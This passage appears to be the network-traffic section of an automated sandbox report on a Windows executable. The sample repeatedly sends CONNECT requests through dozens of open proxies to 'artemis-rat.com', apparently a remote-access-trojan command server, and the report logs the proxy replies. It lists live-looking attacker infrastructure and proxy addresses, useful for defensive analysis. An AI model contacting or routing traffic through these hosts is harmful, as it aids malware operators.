61 74 69 6f 6e 2e 68 74 6d 6c 22 3e 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 3c 2f 61 3e 20 66 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 2e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 00 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please configure your client accordingly.</p><p>See <a href="https://www.torproject.org/documentation.html">https://www.torproject.org/documentation.html</a> for more information.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1395	192.168.2.5	53726	195.35.25.94	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.981933117 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:53.918090105 CET	805	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 02:30:53 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 613 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 5b 6e 6f 20 61 64 64 72 65 73 73 20 67 69 76 65 6e 5d 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 61 72 74 65 6d 69 73 2d 72 61 74 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at [no address given] to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at artemis-rat.com Port 443</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1396	192.168.2.5	53753	186.124.164.213	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.981935024 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1397	192.168.2.5	53773	159.223.71.71	60377	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.984488010 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1398	192.168.2.5	53762	47.106.76.196	8088	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.984738111 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.319138050 CET	767	IN	HTTP/1.1 403 Forbidden Server: Beaver Cache-Control: no-cache Content-Type: text/html Content-Length: 635 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 38 38 37 38 32 32 38 39 34 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003887822894"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1399	192.168.2.5	53379	189.240.60.169	9090	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.985126019 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.256108999 CET	72	IN	HTTP/1.1 200 Connection established Proxy-Agent: Fortinet-Proxy/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1400	192.168.2.5	53763	37.18.73.60	5566	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.985318899 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.331629992 CET	729	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 67 75 72 65 20 79 6f 75 72 20 63 6c 69 65 6e 74 20 61 63 63 6f 72 64 69 6e 67 6c 79 2e 0a 3c 2f 70 3e 0a 3c 70 3e 0a 53 65 65 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 22 3e 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 3c 2f 61 3e 20 66 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 2e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 00 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please configure your client accordingly.</p><p>See <a href="https://www.torproject.org/documentation.html">https://www.torproject.org/documentation.html</a> for more information.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1401	192.168.2.5	53777	211.222.252.187	8193	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.012263060 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1402	192.168.2.5	52343	107.148.201.157	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.014247894 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:47.092818022 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:50.092921972 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:56.202092886 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1403	192.168.2.5	53693	3.108.115.48	1080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.043230057 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.444669962 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 02:30:44 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1404	192.168.2.5	53745	167.172.86.46	10471	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.043637037 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1405	192.168.2.5	53796	130.162.213.175	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.043946028 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.367961884 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1406	192.168.2.5	53771	41.65.236.57	1976	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.050503969 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.092307091 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.406167984 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:49.207719088 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:54.499191046 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:59.905025959 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1407	192.168.2.5	52360	91.187.113.68	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.091183901 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.005601883 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1408	192.168.2.5	53811	192.210.228.28	15673	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.091458082 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1409	192.168.2.5	53779	113.204.4.142	10800	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.095860958 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1410	192.168.2.5	52365	103.124.137.203	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.096786022 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:47.394287109 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1411	192.168.2.5	53128	184.178.172.26	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.098514080 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1412	192.168.2.5	53812	1.15.62.12	5678	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.098710060 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1413	192.168.2.5	53785	111.88.240.201	1080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.098941088 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1414	192.168.2.5	53813	185.125.169.24	8118	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.109834909 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.527471066 CET	131	IN	HTTP/1.1 503 Too many open connections Content-Type: text/plain Connection: close Data Raw: 4d 61 78 69 6d 75 6d 20 6e 75 6d 62 65 72 20 6f 66 20 6f 70 65 6e 20 63 6f 6e 6e 65 63 74 69 6f 6e 73 20 72 65 61 63 68 65 64 2e 0a Data Ascii: Maximum number of open connections reached.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1415	192.168.2.5	53794	102.132.201.202	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.121809959 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1416	192.168.2.5	53814	147.139.140.74	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.122401953 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.308583975 CET	104	IN	HTTP/1.0 200 Connection Established Proxy-agent: Apache/2.4.37 (Alibaba Cloud Linux) OpenSSL/1.1.1k
Mar 11, 2024 03:30:45.310197115 CET	177	OUT	Data Raw: 16 03 03 00 ac 01 00 00 a8 03 03 65 ee 6c d4 c3 34 04 20 fd 59 5e 23 e8 f8 df f7 34 a0 31 bf 01 a9 63 33 07 d4 63 86 eb 92 35 63 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: el4 Y^#41c3c5c*,+0/$#('=<5/Uartemis-rat.com#
Mar 11, 2024 03:30:46.462603092 CET	736	IN	Data Raw: 30 02 86 1d 68 74 74 70 3a 2f 2f 70 6b 69 2e 67 6f 6f 67 2f 67 73 72 31 2f 67 73 72 31 2e 63 72 74 30 32 06 03 55 1d 1f 04 2b 30 29 30 27 a0 25 a0 23 86 21 68 74 74 70 3a 2f 2f 63 72 6c 2e 70 6b 69 2e 67 6f 6f 67 2f 67 73 72 31 2f 67 73 72 31 2e Data Ascii: 0http://pki.goog/gsr1/gsr1.crt02U+0)0'%#!http://crl.pki.goog/gsr1/gsr1.crl0;U 4020g0g0+y0+y0*H4(v1z!R>tA=5\_\|W&o[Fh7okz7%QhIZ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1417	192.168.2.5	53410	43.129.228.46	7891	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.123373985 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1418	192.168.2.5	52330	103.213.219.200	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.180169106 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
